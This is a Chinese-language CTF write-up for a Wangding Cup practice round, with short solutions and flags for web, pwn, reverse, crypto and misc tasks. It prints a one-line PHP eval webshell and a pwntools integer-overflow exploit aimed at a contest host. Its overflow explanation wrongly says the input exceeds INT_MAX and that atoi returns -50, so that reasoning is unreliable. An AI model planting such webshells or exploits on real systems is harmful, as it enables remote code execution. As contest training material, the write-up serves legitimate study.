文章目录
- 网络安全(WEB)
- 二进制漏洞安全(PWN)
- 逆向工程(REVERSE)
- 密码学(CRYPTO)
- [杂项 (MISC)](#杂项 (MISC))
随便做了点就玩去了
顺便吐槽一句,为什么交了flag之后环境自动销毁而且还无法启动新的环境,不是谁教你们这么办比赛的??????
网络安全(WEB)
签到题
赛前模拟训练【签到题】,请下载赛题附件进行查看。
ini
第四届"网鼎杯"网络安全大赛
赛前模拟训练【签到题】
请使用Base64编码进行转换:d2RmbGFne3dkYjIwMTgtMjAyNF8wNH0=
wdflag{wdb2018-2024_04}
WEB01
某行业的供应链公司,在公司内部有多个未下线的老旧业务系统,由于公司内部无网络安全方面专职运维人员,导致互联网边界防火墙长期无人看管,部分业务系统被映射到互联网。该行业主管部门近期组织了一场供应链专项网络安全测试,请您根据网络安全实战经验,对该公司映射到互联网的系统进行测试,确认是否存在网络安全问题
php
//shell.php
<?php eval($_POST['x']);phpinfo();?>
wdflag{n1e1844gu8cgt58ysshvdv6cct7xgeey}
WEB02
某集团总部近期对下属子公司的业务系统进行了一次安全检查,发现部分业务应用系统存在高危漏洞。您做为专业的第三方安全服务公司,请对该业务系统进行人工检查,确认是否存在高危的安全漏洞。
这题没看
二进制漏洞安全(PWN)
PWN01
发现一个可疑的网络通道,不确定是否存在安全问题,请根据提供的源码附件内容,对目标地址进行测试。
c
#include <stdio.h>
#include <stdlib.h>
int main() {
char flag[32];
FILE* f = fopen("flag", "r");
if (f == NULL) {
puts("flag not found");
return 1;
}
fgets(flag, 32, f);
fclose(f);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
printf("Input: ");
char buffer[16];
fgets(buffer, 16, stdin);
int val = atoi(buffer);
if (val < 0) {
puts("Error: no negative numbers allowed!");
return 1;
}
int doubled = 2 * val;
printf("Doubled: %i\n", doubled);
if (doubled == -100) {
puts(flag);
}
}
-
读取 Flag:
- 程序从文件
"flag"
中读取最多 31 个字符存入flag[32]
数组。
- 程序从文件
-
输入处理:
- 程序提示用户输入一个字符串,最多读取 15 个字符存入
buffer[16]
。 - 使用
atoi
将输入字符串转换为整数val
。 - 如果
val < 0
,程序输出错误信息并退出。 - 计算
doubled = 2 * val
。 - 如果
doubled == -100
,输出flag
。
- 程序提示用户输入一个字符串,最多读取 15 个字符存入
潜在的安全漏洞分析
表面上看,程序似乎通过限制 val
为非负数来防止负数输入。然而,通过仔细分析,可以发现存在一个利用整数溢出的潜在漏洞,具体如下:
-
整数溢出利用:
- 在大多数系统中,
int
类型为 32 位,范围是-2147483648
到2147483647
。 - 程序要求
doubled == -100
,即2 * val == -100
,理论上val
应该是-50
。 - 然而,程序中有
if (val < 0)
检查,阻止负数输入。 - 如果输入一个超过
int
最大值的正整数,atoi
转换时可能会发生整数溢出 ,导致val
被解释为一个负数,但这种情况下,val < 0
检查可能无法正确拦截,具体取决于编译器和系统的行为。
- 在大多数系统中,
-
具体的溢出数值计算:
- 目标是使
2 * val == -100
,即val == -50
。 - 在 32 位无符号整数下,
-100
等价于0xFFFFFF9C
。 - 需要找到一个
val
,使得2 * val ≡ 0xFFFFFF9C (mod 2^32)
。 - 计算得到
val ≡ 0x7FFFFFCE (mod 2^32)
,即2147483598
。
- 目标是使
攻击步骤
- 构造特定的输入:
- 发送一个超过
int
最大值(2147483647
)的正整数,例如2147483598
。 - 具体输入可以是:
2147483598
- 发送一个超过
- 预期行为:
- 如果
atoi
在遇到溢出时将输入解释为负数-50
,则:doubled = 2 * (-50) = -100
- 即使
val < 0
,由于整数溢出,程序可能不会正确检测,直接比较doubled == -100
,从而输出flag
。
- 如果
exp
python
from pwn import *
# 配置日志级别为 DEBUG,以便查看详细的调试信息
context.log_level = 'debug'
# 目标服务器的主机和端口
HOST = '0192a3308f627c5ea8d25a7df12434f6.ey9u.dg04.wangdingcup.com'
PORT = 40006
def main():
try:
# 建立与目标服务器的连接
conn = remote(HOST, PORT)
# 接收服务器欢迎信息,直到提示输入
banner = conn.recvuntil(b'Input: ')
print(banner.decode())
# 构造恶意输入
# 根据分析,我们选择一个大于 INT_MAX 的数以触发溢出
# 此处选择2147483598作为示例
payload = b'2147483598\n'
# 发送恶意输入
conn.send(payload)
print(f"[*] Sent payload: {payload.decode().strip()}")
# 接收服务器的响应
response = conn.recvall(timeout=2)
print(response.decode())
except EOFError:
print("[-] Connection closed by remote host.")
except Exception as e:
print(f"[-] An error occurred: {e}")
finally:
conn.close()
if __name__ == '__main__':
main()
逆向工程(REVERSE)
REVERSE01
某次服务器巡检过程中,发现一个可疑的Java源码,请根据提供的源码文件,分析找到隐藏在代码中的关键信息。
java
import java.util.Scanner;
class ReverseEngineeringChallenge {
public static void main(String args[]) {
Scanner scanner = new Scanner(System.in);
System.out.print("Enter password: ");
String userInput = scanner.next();
if (checkPassword(userInput)) {
System.out.println("Access granted.");
} else {
System.out.println("Access denied!");
}
}
public static boolean checkPassword(String password) {
return password.length() == 20 &&
password.charAt(0) == 'f' &&
password.charAt(11) == '_' &&
password.charAt(1) == 'l' &&
password.charAt(6) == '0' &&
password.charAt(3) == 'g' &&
password.charAt(8) == '4' &&
password.charAt(4) == '{' &&
password.charAt(9) == '_' &&
password.charAt(7) == '2' &&
password.charAt(10) == '_' &&
password.charAt(2) == 'a' &&
password.charAt(12) == '_' &&
password.charAt(5) == '2' &&
password.charAt(17) == 'B' &&
password.charAt(14) == '_' &&
password.charAt(18) == '!' &&
password.charAt(16) == '_' &&
password.charAt(19) == '}' &&
password.charAt(15) == 'D' &&
password.charAt(13) == 'W';
}
}
在提供的Java源码中,服务器通过一个密码验证机制来控制访问权限。分析代码可以帮助我们找到隐藏的关键密码信息。
代码分析
-
主要流程:
- 程序提示用户输入密码。
- 用户输入的密码被传递给
checkPassword
方法进行验证。 - 如果密码验证成功,输出"Access granted.",否则输出"Access denied!"。
-
密码验证逻辑 (
checkPassword
方法):- 长度检查:密码必须为20个字符。
- 逐字符验证:密码的每个字符在特定的位置必须符合预设的字符。
-
具体的字符验证条件:
索引 (0-based) 必须字符 0 'f'
1 'l'
2 'a'
3 'g'
4 '{'
5 '2'
6 '0'
7 '2'
8 '4'
9 '_'
10 '_'
11 '_'
12 '_'
13 'W'
14 '_'
15 'D'
16 '_'
17 'B'
18 '!'
19 '}'
重构密码
根据上述的验证条件,我们可以逐一填充每个索引对应的字符:
索引: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
字符: f l a g { 2 0 2 4 _ _ _ _ W _ D _ B ! }
将字符按顺序拼接起来,得到完整的密码:
flag{2024____W_D_B!}
flag{2024____W_D_B!}
密码学(CRYPTO)
CRYPTO01
运维人员在某网络设备中捕获一段加密代码,请帮忙分析其中的明文信息。
ini
pvkq{G!N@L#}
flag{W!D@B#}
CRYPTO02
拦截到一张图片,请您分析这张图片中,是否包含有隐藏数据信息?
没细看
杂项 (MISC)
运维监测到有web攻击,请根据日志进行分析,找到攻击信息。
换个方式搜
wdflag{14030b5a31e7984365c08da0ece8dd03}